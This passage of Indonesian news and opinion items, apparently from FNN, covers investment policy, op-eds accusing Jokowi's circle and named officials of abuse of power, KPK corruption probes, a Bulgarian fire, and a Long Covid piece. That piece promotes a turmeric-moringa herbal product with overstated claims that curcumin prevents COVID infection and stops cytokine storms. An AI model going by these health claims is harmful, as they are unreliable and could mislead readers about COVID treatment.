sektor-sektor hilirisasi, maka insya Allah akan tercapai," imbuhnya. Lebih lanjut, Bahlil mengungkapkan sejumlah strategi yang dilakukan untuk bisa mencapai target tersebut. Setidaknya, ada lima langkah yang dilakukan Kementerian Investasi/BKPM untuk memfasilitasi investor sekaligus meningkatkan realisasi investasi. Pertama, selain melakukan promosi, institusi itu akan meyakinkan investor bahwa Indonesia adalah negara yang "ramah investasi". Terlebih dengan diterbitkannya UU Cipta Kerja yang diklaim memberikan transparansi, efisiensi, kecepatan dan kepastian dalam mengurus perizinan. "Kalau dulu BKPM itu mengandalkan promosi, sekarang kita ubah strateginya. Selain kita promosi, kita yakinkan investor bahwa negara kita sudah berubah," katanya. Strategi kedua, Kementerian Investasi/BKPM akan membantu layanan perizinan. Kemudian, lembaga itu juga akan membantu proses financial closing jika dibutuhkan. Bahlil juga memastikan pihaknya akan memberikan layanan end-to-end kepada investor hingga realisasi investasi. Bantuan diberikan juga tidak hanya sampai konstruksi namun hingga produksi. "Kalau ada yang ganggu, tanahnya tidak jelas atau persoalan apa, kita bantu sampai dia produksi. Jadi end-to-end. Kenapa ini kita lakukan? Karena negara akan dapatkan multiplier effect ketika perusahaan tersebut berproduksi. Kalau cuma sampai konstruksi, tidak sampai produksi, negara belum dapat apa-apa secara maksimal," pungkasnya. (mth)

Cakar-cakaran Berebut Pengaruh dan Kue Kekuasaan di lingkaran Jokowi

Oleh: Yusuf Blegur Kasus terlibatnya para pejabat dalam bisnis pengadaan alat tes PCR, selain menyedot perhatian juga melahirkan gugatan publik. Menariknya, salah satu krisis penanganan pandemi selain korupsi bansos yang lagi-lagi menyeret para menteri Jokowi, juga rotes unjuk rasa dan gugatan hukum, tak hanya dilakukan oleh kekuatan oposisi, tetapi elemen kritis seperi Prodem hingga Joko Mania yang relawan Jokowi pun ikut ambil bagian dalam karut-marut pengadaan PCR di tengah pandemi. Emanuel Ebanezer yang menjadi ketua Jokowi Mania belakangan kencang dan tajam menyerang menteri-menteri Jokowi yang dituding terlibat korupsi. Setidaknya terkait nepotisme dan kolusi dalam bisnis PCR seperti yang diungkap Iwan Sumule Ketua Prodem. Emanuel Ebanezer yang biasa dipanggil Noel, secara terbuka dan lantang menyampaikan tuntutan hukuman mati bagi semua yang terlibat dalam kasus PCR. Lebih lanjut Noel menyatakan, lingkaran Jokowi banyak diisi oleh penjahat-penjahat layaknya monster yang menggerogoti kekuasaan Jokowi. Noel relawan Jokowi yang berlatar dari eksponen 98. Seperti menyuarakan kegelisahan dan tuntutan publik. Tak tanggung-tanggung, Emanuel Ebanezer meminta pelaku extra ordinary crime termasuk para menteri yang terlibat bisnis PCR dan terbukti melakukan korupsi. Harus di hukum gantung, celoteh aktifis pergerakan yang bermetamorfosis jadi relawan pilpres pendukung Jokowi. Saling Sikut dan Adu Jotos Jokowi kini benar-benar dalam tekanan yang hebat dan seperti mengalami depresi. Selain dirongrong oleh kinerja para menterinya yang jeblok. Jokowi sampai harus marah-marah dan menunjukan temperamennya di hadapan jajaran direksi dan komisaris PLN serta Pertamina. BUMN primadona yang dililit banyak masalah. Kondisi miris yang jadi tontonan publik. Di satu sisi betapa bobroknya orang-orang lingkaran kekuasaan. Di lain sisi menegaskan betapa lemahnya nenejemen kepemimpinan Jokowi sebagai kepala negara dan kepala pemerintahan. Jokowi pada esensinya menjadi yang paling bertanggungjawab atas karut-marutnya negara. Banyak yang menduga gestur, gimick dan mimik Jokowi yang emosi merupakan reaksi dari pernyataan Erick Tohir yang menyeretnya dalam kasus PCR. Ditambah lagi jejengkelan dan amarah terpendam Jokowi terhadap kinerja para menteri lainnya yang minimalis dan suka blunder. Jokowi seperti seolah-olah sedang giat kerja dan bersih-bersih tapi seketika dilempari kotoran di mukanya oleh konco-konconya sendiri. Hasilya Jokowi dinilai publik sebagai "King of The Lip Service" dan raja-rajakekonyolan lainnya. Lemahnya kepemimpinan serta kemampuan yang dibawah ekspektasi dan kapasitas. Membuat banyak pihak pesimis terhadap tata kelola negara dibawah pemerintahan Jokowi. Bahkan publik sudah pada satu kesimpulan bahwasanya, Jokowi harus mundur demi kepentingan dan keselamat rakyat, negara dan bangsa. Jokowi Mania sendiri melalui Emanuel Ebanezer, mengakui dan bersikap tegas. Bahwa kekuasaan dilingkari penjahat-penjahat yang membentuk gangster yang merampok uang negara dan membangun dinasti politiknya. Emanuel Ebanezer sesungguhnya menelanjangi secara langsung dan tidak langsung Jokowi. Meski dia berusaha mencari kambing hitam kisruh penyelenggaraan negara. Sekaligus justifikasi terhadap Jokowi yang dianggapnya baik dan cuma dikelilingi para penjahat dari dalam lingkungannya. Atau mungkin juga manuver Emanuel Ebanezer merupakan 'by desain'. Apa yang disampaikan Ketua Joman itu, sebenarnya merupakan bahasa Jokowi. Presiden sedang menggunakan instrumennya untuk menggebuk orang disekelilingnya. Ini menjadi kebiasaan dan seperti karakter Jokowi yang tidak pernah berani menghadapi secara konfrontasi langsung orang yang tidak disukainya atau mengkritiknya. Termasuk orang dekatnya yang penting dan berpengaruh, namun sering membuat masalah. Atau mungkin juga ini cuma presur dan upaya bargaining pentolan Joman yang ingin berebut pengaruh dan mendapat kue kekuasaan lebih banyak lagi. Seperti apa yang selama ini dilakukan lingkaran dalam kekuasaan Jokowi dalam balutan oligarki dan partisan politik lainnya. Tampaknya, cakar-cakaran dan saling sikut di "inner circle" Jokowi semakin eskalatif dan akumulatif menggerogoti pemerintahan dan beresiko pada korban rakyat dan kehancuran negara. Seiring dan menjadi indikator akan tumbangnya rezim kekuasaan Jokowi yang kisruh di dalam dan di luar dirinya. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Bahaya "Long Covid" bagi Penyintas

Oleh: Mochamad Toha Dr David Johnson, Kepala Departemen Gastroentologi pada Eastern Virginia Medical School mengungkap, masalah pada sistem pencernaan dapat timbul sebagai gejala lanjutan COVID-19. Ini dikenal sebagai Long Covid-19, yakni saat kerja dan fungsi organ menjadi terganggu akibat infeksi virus itu. Gejala-gejala yang dirasakan usai sembuh dari Covid-19 ini merupakan bagian dari Long Covid. Pada awal kemunculan Covid-19, virus ini diketahui memengaruhi saluran pernapasan. Namun belakangan ini malah semakin banyak pasien Covid-19 yang mengalami gangguan pencernaan. Setelah melalui riset, ternyata virus penyebab Covid-19, yakni SARS-CoV-2 ini, bisa menginfeksi sel-sel di saluran pernapasan dan pencernaan. Sel usus yang terinfeksi memicu pelepasan sitokin, yaitu protein yang berperan dalam proses peradangan. Proses itu bisa menyebabkan gejala yang memengaruhi sistem pencernaan. Bahkan, banyak penyintas Covid-19 yang terus-menerus mengalami gangguan pencernaan meskipun sudah dinyatakan sembuh dari Covid-19. Kondisi itu, senada dengan pernyataan dr. Rabbinu Rangga Pribadi, SpPD, staf medik Divisi Gastroenterologi, Departemen Ilmu Penyakit Dalam RSCM-FKUI, bahwa pada beberapa kasus Covid-19, pasien bisa datang dengan keluhan gejala penyakit asam lambung, khususnya gastrointestinal (GI). Artinya, pasien datang bukan hanya mengeluh sesak napas dan demam, tapi juga gejala gastrointestinal berupa mual, muntah, dan tidak nafsu makan. Ini terungkap saat diskusi Webinar 'Kupas Tuntas Penyakit Asam Lambung' yang diselenggarakan Kalbe, Kamis (18 Februari 2021). Adapun data di laporan Medical News Today menunjukkan, gejala GI memang menjadi bagian dari gejala Covid-19. Gejala GI paling umum adalah kurang nafsu makan (19,9%), tidak mampu mencium bau dan rasa (15,45%), diare (13,2%), mual (10,3%), muntah darah atau perdarahan GI (9,1%). Bahwa gejala terkait sistem pencernaan terjadi akibat virus merusak jaringan sistem pencernaan, yang biasanya menimbulkan gejala seperti nyeri, mual, dan diare. Bahkan, beberapa penelitian juga menunjukkan, Covid-19 dapat mengubah mikrobiota pada usus. Ingat, dalam usus-12 jari itu terdapat sekitar 17 juta mikrobiota dengan tugas membantu pencernaan. Untuk membantu memelihara daya tahan tubuh serta mengatasi berbagai gangguan saluran pencernaan, saat ini telah hadir produk herbal berkualitas yang telah memperoleh izin BPOM. Produk herbal itu mengandung herbal dengan bahan utama kunyit (ekstrak Curcuma domestica rhizoma) dan daun kelor (ekstrak Moringa oleifera folium). Berikut adalah penjelasan kandungan dan manfaat yang terdapat di kunyit dan daun kelor (sumber: Buku Saku Bahan Pangan Potensial untuk Anti Virus dan Imun Booster, Balai Besar Penelitian dan Pengembangan Pascapanen Pertanian). Senyawa utama rimpang kunyit yaitu kurkuminoid, suatu golongan flavonoid yang memiliki 3 senyawa turunan, yaitu kurkumin, bisdesmetoksikurkumin, dan desmetoksikurkumin. Bahwa, kunyit sudah banyak diteliti baik secara in vitro maupun in vivo pada tahap pra klinis serta riset klinis dan terbukti memiliki banyak manfaat bagi kesehatan. Tidak kurang dari 3000 uji pra klinis telah dilakukan terhadap kurkumin. Manfaat kunyit secara umum bagi kesehatan antara lain sebagai antioksidan, antiinflamasi, antitumor, antimikroba, pencegah kanker, menurunkan kadar lemak darah dan kolesterol, serta sebagai pembersih darah. Hasil uji klinis kurkumin ini bisa meningkatkan sistem imunitas tubuh, yaitu berperan sebagai imunomodulator. Kurkumin bersama beberapa bahan aktif sudah diteliti berpotensi sebagai kandidat antivirus SARS-CoV-2. Kurkumin mampu berikatan dengan reseptor protein SARS-CoV 2, melalui ikatan dengan domain protease (6Lu7) dan spike glikoprotein. Ikatan ini berpotensi untuk menghambat aktivitas Covid-19. Hasil penelitian lain di India juga menyimpulkan, kurkumin dan katekin, keduanya itu memiliki ikatan/afinitas yang kuat dengan S-protein dan ACE2. ACE2 merupakan reseptor/pintu masuk virus. Hal itu menunjukkan bahwa kurkumin bisa memblokir reseptor sel inang untuk masuknya virus sehingga infeksi virus bisa dicegah. Selain itu kedua polifenol tersebut (kurkumin dan katekin) merupakan imuno stimulan yang kuat. Kurkumin diketahui menghambat pelepasan senyawa tubuh penyebab peradangan atau sitokin proinflamasi seperti interleukin-1, interleukin-6 dan tumor necrosis factor-α. Pelepasan sitokin dalam jumlah banyak (badai sitokin) dapat menumpuk pada organ paru-paru kemudian menimbulkan sesak. Dengan terhambatnya pengeluaran sitokin, maka tidak akan terjadi badai sitokin. Mekanisme ini menjelaskan tentang peran kurkumin dalam mencegah terjadinya badai sitokin pada infeksi virus. Kurkumin juga memiliki efek menghambat proses pertumbuhan virus, baik secara langsung dengan cara merusak fisik virus maupun melalui penekanan jalur pensinyalan seluler yang penting dalam proses replikasi virus. Daun kelor mengandung senyawa fenolik, flavonoid, saponin sitokinin dan asam caffeolylquinat yang merupakan sumber antioksidan. Daun kelor juga mengandung komponen asam lemak tak jenuh diantaranya yaitu linoleat (omega 6) dan alfalinolenat (omega 3). Asam amino esensial juga terdapat di dalam daun kelor, yaitu asam aspartat, asam glutamat, glisin, treonin, alanin, valin, leusin, isoleusin, histidin, fenilalanin, lisin, triptofan, sistein dan metionin tersebut bisa meningkatkan sistem imunitas tubuh. Komponen aktif yang terdapat pada daun kelor cukup banyak, yaitu dari golongan glikosida, fenol, sterol, flavanol yang penting untuk membangun sistem imunitas dan nutrisi bagi tubuh. Dua komponen aktif glikosida daun kelor yaitu niazirin dan niazirinin, selain itu kuersetin dan kaemferol ada pada komponen flavonoidnya, yang terdiri dari quercetin-3-O-glukosida, quercetin-3-O (6-mlonylglukosida), kaemferol-3-O (glukosida) dan kaemferol-3-O (6-malonyl-glukosida), asam 3-caffeoylquinat dan asam 5-affeoylquinat. “Tiokarbamat dan isotiosianat memiliki kemampuan sebagai antitumor dan menurunkan tekanan darah,” ungkap salah seorang periset herbal Indonesia dari PT Bios Pro Siklus. Secara ringkas perpaduan kedua bahan utama yang ada pada formula herbal, yakni ekstrak kunyit dan ekstrak daun kelor dapat membantu meningkatkan kesehatan saluran cerna serta meningkatkan imunitas di dalam tubuh untuk melawan berbagai infeksi, termasuk infeksi yang disebabkan oleh virus. Penulis Wartawan FNN.co.id

"Saya Anak Bintang Tiga” Terjadi di Semua Bilik Kekuasaan

By Asyari Usman “Saya anak bintang tiga” sebenarnya terjadi di mana-mana. Di semua bilik kekuasaan. Bahkan di level yang tertinggi sekali pun. Hanya saja ‘setting’-nya berbeda dan bahasanya juga lain. Tidak langsung dikatakan “Saya anak Panglima Tertinggi”, milsanya. Tapi, itu terjadi. Sering tanpa ucapan atau intsruksi. Singkatnya, “abuse of power” (penyalahgunaan kekuasaan) itu terjadi meluas. Jalan mulus yang disediakan di pilkada untuk para calon VVIP adalah bentuk “Saya anak bintang tiga” seperti yang diucapkan oleh seorang wanita ‘hebat’ kepada anggota DPR PDIP, Arteria Dahlan, dalam insiden di Bandara Soekarno-Hatta beberapa hari lalu. Ada beberapa orang yang ikut pilkada dan bisa menang mudah. Diduga kuat para calon VVIP itu dibantu penuh oleh para pejabat pemerintah setempat. Ini jelas “Saya anak bintang tiga” versi lain. Ini jelas penyalahgunaan kekuasaan. Berlangsung di seluruh pelosok dan sektor. Ada menteri yang terkait dengan pertambangan batubara. Ada juga yang terkait dengan bisnis PCR. Bukankah ini “abuse of power”? Arteria sudah benar menuntut agar Panglima TNI dan KSAD membenahi “abuse of power” protokol TNI oleh wanita yang memaki-maki ibu anggota DPR yang sarat dengan kontroversi itu. Tetapi, Arteria sebaiknya melakukan gerakan berantas penyalahgunaan kekuasaan dengan lebih luas lagi. Termasuk di lingkungan DPR sendiri. Di DPR banyak “abuse of power”. Ketuaya, Puan Maharani, juga melakukan itu. Dia mematikan mik anggota dewan yang ingin menggunakan hak berkomentar. Puan bertindak otoriter. Puan menyalahgunakan kekuasaannya. Tidak jauh beda dengan perempuan anak bintang tiga itu. Begitu juga pengesahan UU Omnibus Law dan revisi UU yang membuat KPK menjadi lemah dan tebang pilih. Ini semua terjadi karena penyalahgunaan kekuasaan. Yang dilakukan secara kolaboratif oleh pemerintah dan DPR. Sedikit ke belakang. Pangdam Jaya Dudung Abdurrachman menyalahgunakan kekuasaan dengan mengerahkan sejumlah panser dan unit militer lainnya ke Petamburan akhir November 2020. Waktu itu, tentara dikerahkan untuk menurunkan baliho H125. Nah, sekarang bagaimana mungkin Dudung sebagai KSAD diminta oleh Arteria untuk membenahi penyalahgunaan kekuasaan? Penyalahgunaan kekuasaan juga dilakukan oleh para pejabat tinggi lainnya. KSP Moeldoko melakukan ini dalam upaya untuk mengambil paksa Partai Demokrat. Ini tidak mungkin dilakukannya kalau dia bukan pejabat yang memegang kekuasaan besar. Di tingkat terendah, “abuse of power” juga ada. Contoh, apakah sepedamotor atau mobil “fore rider” (forijder) bisa diminta mengawal kendaraan jenazah semua orang? Saya belum pernah dengar. Tapi saya sering lihat mobil pembawa jenazah kelompok orang berduit, dikawal oleh kendaraan Patwal. Dan Anda mungkin masih ingat kasus pengawalan orang hebat ketika ‘jogging’ di Bali pertengahan Oktober 2020. Jadi, bagus sekali kalau Arteria Dahlan melancarkan kampanye nasional melawan penyalahgunaan kekuasaan. Pasti banyak yang mau ikut. InsyaAllah DPR bersih, Istana bersih, TNI-Polri bersih, dan semua kontestasi demokrasi menjadi besih. Tidak ada lagi walikota yang terpilih dengan indikasi “abuse of power”.[] (Penulis wartawan senior FNN)

Kebakaran Panti Wreda di Bulgaria Tewaskan Sembilan Orang

Sofia, FNN - Sembilan orang tewas dalam kebakaran di sebuah panti wreda di desa Royak, Bulgaria timur dan sejumlah penghuni lansia terkena asap kebakaran, menurut pejabat senior kementerian dalam negeri, Senin (22/11). Api yang berkobar dari atap kayu panti pada Senin malam berhasil dipadamkan. Rumah yang menampung 58 lansia itu pun telah dievakuasi, kata Tihomir Totev, kepala departemen pemadam kebakaran setempat. "Ketika enam mobil pemadam kebakaran tiba di lokasi, api melalap bagian atap dan menimbulkan asap tebal. Sembilan petugas damkar mulai mengevakuasi penghuni panti, namun sayangnya sembilan orang nyawanya tak tertolong," kata Totev. Ia mengatakan penyebab kebakaran hingga kini masih dalam penyelidikan. (sws)

KPK Ingatkan Mahasiswa dan Sivitas Akademika Selalu Jaga Integritas

Jakarta, FNN - Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Alexander Marwata mengingatkan kepada mahasiswa dan sivitas akademika Universitas Yayasan Pendidikan Islam (Yapis) Papua untuk selalu menjaga integritas. Alex dalam keterangan yang diterima di Jakarta, Selasa mengatakan nilai-nilai integritas seperti kejujuran dan kerja keras harus ditanamkan kepada anak-anak didik sejak dini. "Orang tua lebih khawatir anak-anaknya mendapat nilai matematika merah atau belum bisa membaca di kelas satu daripada karakter anak yang tidak mau antre," ucap dia. Alex menghadiri kuliah umum pendidikan antikorupsi di Universitas Yapis Papua yang diselenggarakan secara daring dan luring terbatas di Kampus Yapis, Jayapura, Papua, Senin (22/11). Dalam kuliah umum tersebut, ia menjelaskan tentang tugas pokok dan fungsi KPK serta strategi pemberantasan korupsi. KPK, kata Alex, saat ini menerapkan tiga pendekatan yang disebutnya dengan trisula pemberantasan korupsi, yaitu pendidikan, pencegahan, dan penindakan. Melalui pendekatan pendidikan, ucap dia, dilakukan melalui salah satunya implementasi pendidikan antikorupsi pada setiap jejaring pendidikan. "Kita didik anak-anak kita menjadi generasi berintegritas yang memegang nilai-nilai kejujuran, kerja keras, dan lainnya," ujarnya. Lebih lanjut, Alex mengutip data survei yang dilakukan KPK pada 2013 dalam studi pencegahan korupsi berbasis keluarga. Menurut dia, hasilnya mengejutkan karena kurang dari 10 persen keluarga di mana ayah dan ibu mengakui secara bersama-sama menerapkan nilai kejujuran untuk diinternalisasi di dalam keluarga. Dalam kesempatan itu, Alex pun melemparkan pertanyaan terkait dosen yang menerima bingkisan dari mahasiswa. "Boleh tidak?" tanya dia. Menurut Alex, jika di Singapura praktik tersebut sudah termasuk korupsi karena dosen yang menerima hadiah dari mahasiswa ada kecenderungan untuk tidak adil. "Berperilaku tidak adil itu bagian dari perilaku koruptif," tutur dia. Sementara itu, Wakil Rektor I Universitas Yapis Abdul Rasyid dalam sambutannya menyampaikan Universitas Yapis telah menerapkan pendidikan antikorupsi dalam mata kuliahnya. "Sudah terlaksana implementasi pendidikan antikorupsi di Universitas Yapis Papua. Para dosen pengampu mata kuliah antikorupsi ini juga telah mengikuti ToT (Training of Trainer)," kata dia. (sws)

Kanwil Kemenkumham Riau Perkuat Pengawasan Terhadap Orang Asing

Pekanbaru, FNN - Kepala Kantor Wilayah Kemenkumham Riau Pujo Harinto mengatakan pihaknya terus berupaya memperkuat pengawasan terhadap aktivitas ilegal orang asing terkait posisi Provinsi Riau yang sangat strategis sebagai tujuan maupun transit lalu lintas barang dan orang asing. "Riau sebagai daerah tujuan dan transit lalu lintas barang dan orang asing, maka sangat potensial diboncengi oleh kepentingan lain secara ilegal dan tidak bertanggung jawab, misalnya, perdagangan manusia (human trafficking), lalu lintas barang terlarang (narkoba, psikotropika) serta kepentingan bernuansa politik, ekonomi, sosial budaya yang dapat mengancam stabilitas negara dan daerah," kata Pujo Harinto dalam keterangannya di Pekanbaru, Selasa. Menurut dia, kehadiran orang maupun investasi asing memang sangat dibutuhkan sepanjang membawa manfaat bagi pembangunan dan pengembangan daerah, namun dampak negatifnya juga harus diwaspadai. Karenanya, katanya menyebutkan, diperlukan adanya kegiatan operasi gabungan seperti Timpora untuk menghimpun informasi yang berguna bagi kegiatan pengawasan orang asing. "Operasi gabungan Timpora yang akan dilaksanakan dalam beberapa hari ke depan di beberapa wilayah di Provinsi Riau diharapkan dapat berjalan dengan baik dan optimal," ujarnya. Timpora bertugas melakukan pengawasan terhadap lalu lintas, keberadaan dan kegiatan orang asing serta pengawasan terhadap Warga Negara Indonesia yang terkait dengan Di Riau sendiri, isu terkini terkait orang asing di antaranya adalah demo para pencari suaka dan peredaran narkoba yang dikendalikan oleh orang asing. Orang asing yang terlibat dalam peredaran gelap narkoba, maka jajaran Keimigrasian Kanwil Kemenkumham Riau akan melakukan projustitia Keimigrasian terhadap orang asing yang terpidana kasus narkoba. "Begitu orang asing yang terlibat peredaran narkoba telah selesai menjalani masa pidananya, maka akan langsung kami lakukan penindakan projustitia, untuk memberikan efek jera agar tidak ada lagi orang asing yang terlibat dalam peredaran gelap narkoba," tuturnya. (sws)

KPK Konfirmasi Saksi Soal Aliran Dana yang Diterima Bupati Kuansing

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengonfirmasi dua saksi soal dugaan aliran dana yang diterima tersangka Bupati Kuantan Singingi (Kuansing) nonaktif Andi Putra (AP) dalam pengurusan izin Hak Guna Usaha (HGU) sawit. KPK memeriksa dua staf PT Adimulia Agrolestari Riana Iskandar dan Rudi Ngadiman alias Koko untuk tersangka Andi Putra di Gedung KPK, Jakarta, Senin (22/11) dalam penyidikan kasus dugaan suap perpanjangan izin HGU sawit di Kabupaten Kuansing, Riau. "Para saksi dan didalami pengetahuannya terkait dengan dugaan aliran sejumlah dana baik yang diterima oleh tersangka AP maupun oleh pihak-pihak terkait lainnya dalam pengurusan izin HGU PT AA (Adimulia Agrolestari)," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. KPK telah menetapkan Andi Putra bersama General Manager PT Adimulia Agrolestari Sudarso (SDR) sebagai tersangka. Dalam konstruksi perkara, KPK menjelaskan untuk keberlangsungan kegiatan usaha dari PT Adimulia Agrolestari yang sedang mengajukan perpanjangan HGU yang dimulai pada 2019 dan akan berakhir pada 2024, salah satu persyaratan untuk kembali memperpanjang HGU adalah dengan membangun kebun kemitraan minimal 20 persen dari HGU yang diajukan. Adapun lokasi kebun kemitraan 20 persen milik PT Adimulia Agrolestari yang dipersyaratkan tersebut terletak di Kabupaten Kampar, Riau di mana seharusnya berada di Kabupaten Kuansing. Agar persyaratan tersebut dapat terpenuhi, Sudarso kemudian mengajukan surat permohonan kepada Andi Putra dan meminta kebun kemitraan PT Adimulia Agrolestari di Kampar disetujui menjadi kebun kemitraan. Selanjutnya, Sudarso dan Andi Putra bertemu. Andi Putra menyampaikan bahwa kebiasaan dalam mengurus surat persetujuan dan pernyataan tidak keberatan atas 20 persen Kredit Koperasi Prima Anggota (KKPA) untuk perpanjangan HGU yang seharusnya dibangun di Kabupaten Kuansing dibutuhkan minimal uang Rp2 miliar. Sebagai tanda kesepakatan, pada September 2021 diduga telah dilakukan pemberian pertama oleh Sudarso kepada Andi Putra uang sebesar Rp500 juta. Selanjutnya pada Oktober 2021, Sudarso diduga kembali menyerahkan uang sekitar Rp200 juta kepada Andi Putra. Atas perbuatannya, Sudarso selaku pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. Sedangkan Andi Putra disangkakan melanggar Pasal 12 huruf (a) atau Pasal 12 huruf (b) atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. (sws)

Bima Arya Kukuhkan Boby Nasution Jadi Ketua Komwil I APEKSI

Kota Bogor, FNN - Ketua Asosiasi Pemerintah Kota Seluruh Indonesia (APEKSI) Bima Arya telah mengukuhkan Wali Kota Medan Boby Nasution sebagai Ketua Komisariat Wilayah I APEKSI. Bima Arya dalam rilis yang diterima ANTARA, Selasa mengatakan terpilihnya Bobby Nasution menggantikan Wali Kota Pekanbaru Firdaus secara aklamasi merupakan tradisi yang selalu dijaga dan dikuatkan di APEKSI dalam berkolaborasi dan bersinergi membangun terus silaturahim antaranggota. Komwil 1 yang kini dipimpin oleh Bobby meliputi 24 kota yakni Medan, Banda Aceh, Sabang, Lhokseumawe, Langsa, Subulussalam, Pematang Siantar, Tanjungbalai, Tebing Tinggi, Binjai, Sibolga, Padangsidimpuan, Gunungsitoli, Payakumbuh, Padang, Padang Panjang, Sawahlunto, Solok, Pariaman, Bukittinggi, Pekanbaru, Dumai, Tanjungpinang dan Batam. "Selamat bertugas kepada Pak Bobby, mulai Senin kemarin telah dikukuhkan melalui Musyawarah Komwil, terimakasih kepada Pak Firdaus dan terima kasih kepada Wali Kota Banda Aceh yang secara sangat baik telah menjadi tuan rumah Muskomwil," tuturnya. Ketua APEKSI itu menilai Boby akan mampu menjaga dan memberikan yang terbaik bagi organisasi perhimpunan wali kota itu. "Kita optomistis dan yakin, Pak Bobby walaupun baru bertugas di Medan tetapi dengan semangatnya bisa terus melanjutkan sinergi dan kolaborasi di Komwil 1 ini," ujar Bima, Dalam rapat kerja Komwil di Banda Aceh ini, kata Bima, menyepakati sejumlah rekomendasi, baik untuk anggota maupun pemerintah pusat. Ada beberapa catatan atas beberapa kebijakan pemerintah pusat yang ingin disampaikan seperti Online Single Submission (OSS), perizinan terkait dengan turunan UU Cipta Kerja yang di lapangan masih ditemukan banyak hal yang harus dievaluasi. "Kami menyepakati beberapa rekomendasi terkait dengan pemulihan ekonomi. Kita akan berkolaborasi sesama pemerintah kota, provinsi dan juga pusat untuk mempercepat economic recovery," jelasnya. Sementara itu, Wali Kota Medan Boby Nasution saat memberikan sambutan mengaku berterima kasih atas kepercayaan APEKSI terhadapnya yang meskipun baru sebentar memimpin kota, kini ditugaskan memimpin organisasi di wilayah. "Terkhusus untuk Bapak Bima Arya Ketua APEKSI pusat, saya di sini mengharapkan bimbingan dan arahan, saya menjadi wali kota belum sampai 1 tahun. Dan mendapatkan amanah, mendapatkan tugas untuk menjadi Ketua Komwil 1," ujarnya. Boby berharap bisa berkolaborasi dengan semua anggota APEKSI membuat organisasi tersebut solid dan mampu berkontribusi menghadapi tantangan pandemi COVID-19. "Tentunya kolaborasi dan dukungan dari seluruh wali kota di wilayah 1 ini menjadi kekuatan besar bagi kita semua, terkhusus di pengurusan baru untuk sama-sama bisa memutus mata rantai COVID-19 dan mengembalikan perekonomian," katanya. (sws)

46 Notaris Baru Siap Bertugas di Riau

Pekanbaru, FNN - Kakanwil Kemenkumham Riau Pujo Harinto mengatakan sebanyak 46 notaris baru yang siap bertugas di Riau diharapkan memberikan pelayanan jasa yang memiliki nilai dan bobot yang dapat diandalkan serta dipertanggungjawabkan. "Sebab notaris adalah orang yang mendapat kuasa dari pemerintah atau Kemenkumham untuk mengesahkan dan menyaksikan berbagai surat perjanjian, surat wasiat, akta, dan sebagainya sehingga wajib memberikan pelayanan jasa secara maksimal," kata Pujo Harinto dalam keterangannya di Pekanbaru, Selasa. Menurut Pujo, notaris adalah sebuah profesi untuk seseorang yang telah menyelesaikan pendidikan hukum yang dilisensi oleh pemerintah untuk melakukan hal-hal hukum, khususnya sebagai saksi penandatanganan sebuah dokumen. Karena itu, pelayanan jasa yang diberikan secara maksimal serta menghasilkan produk akta yang benar-benar terjaga otentisitasnya sehingga memiliki nilai dan bobot yang andal. "Notaris harus menjalankan kewajiban yang diamanatkan baik oleh Undang-Undang Jabatan Notaris dan Kode Etik Notaris serta menghindari larangan-larangan dalam jabatannya," tuturnya. Dengan demikian, katanya, terdapat hubungan yang saling melengkapi antara Undang-Undang Jabatan Notaris (UUJN) dan kode etik dalam mengatur ketentuan tentang kewajiban dan larangan serta pengecualian dalam jabatan notaris. Dalam menjalankan jabatannya seorang notaris memiliki kewajiban yang harus dipenuhi serta untuk memaksimalkan kinerjanya, notaris pengganti pun harus dapat mematuhi ketentuan-ketentuan tentang larangan dalam jabatannya. "Berkaitan dengan kondisi pandemi COVID-19 yang membatasi ruang gerak membuat kegiatan pelantikan sempat tertunda beberapa kali sehingga kuota pelantikan kali ini mencapai angka 46 orang," ujarnya. Notaris yang dilantik dan diambil sumpah merupakan perwakilan dari berbagai daerah di wilayah Riau. Dengan fungsi dan peran yang sama, yakni menggerakkan pembangunan nasional demi kelancaran dan kepastian hukum. "Karenanya notaris tidak boleh bersikap diskriminatif dan membedakan antara orang yang mampu ataupun orang tidak mampu. Notaris harus juga mampu turut mensukseskan program pemerintah dalam rangka meningkatkan investasi yang dikenal dengan program omnibus law," katanya. (sws)

KPK Konfirmasi Dodi Reza Alex Noerdin Adanya Intervensi Terkait Proyek

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengonfirmasi tersangka Bupati Musi Banyuasin nonaktif Dodi Reza Alex Noerdin (DRA) perihal dugaan adanya intervensi dalam pelaksanaan berbagai proyek di Dinas PUPR Kabupaten Musi Banyuasin. KPK, Senin (22/11) memeriksa Dodi dalam kapasitas sebagai tersangka dalam penyidikan kasus dugaan korupsi pengadaan barang dan jasa di Kabupaten Musi Banyuasin, Sumatera Selatan Tahun Anggaran 2021. "Tim penyidik mengonfirmasi soal dugaan adanya intervensi dalam pelaksanaan berbagai proyek di Dinas PUPR Kabupaten Musi Banyuasin," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. Selain itu, kata dia, terhadap Dodi juga dikonfirmasi terkait dengan tugas pokok selaku bupati. Selain Dodi, KPK juga menetapkan tiga tersangka lainnya, yakni Kepala Dinas PUPR Kabupaten Musi Banyuasin Herman Mayori (HM), Kabid Sumber Daya Air (SDA)/Pejabat Pembuat Komitmen (PPK) Dinas PUPR Kabupaten Musi Banyuasin Eddi Umari (EU), dan Direktur PT Selaras Simpati Nusantara Suhandy (SH). KPK menjelaskan Pemkab Musi Banyuasin untuk Tahun 2021 akan melaksanakan beberapa proyek yang dananya bersumber dari APBD, APBD-P TA 2021 dan Bantuan Keuangan Provinsi (bantuan gubernur) di antaranya pada Dinas PUPR Kabupaten Musi Banyuasin. Untuk melaksanakan berbagai proyek dimaksud, diduga telah ada arahan dan perintah dari Dodi kepada Herman, Eddi, dan beberapa pejabat lain di Dinas PUPR Kabupaten Musi Banyuasin agar dalam proses pelaksanaan lelangnya direkayasa sedemikian rupa. Di antaranya dengan membuat daftar paket pekerjaan dan telah pula ditentukan calon rekanan yang akan menjadi pelaksana pekerjaan 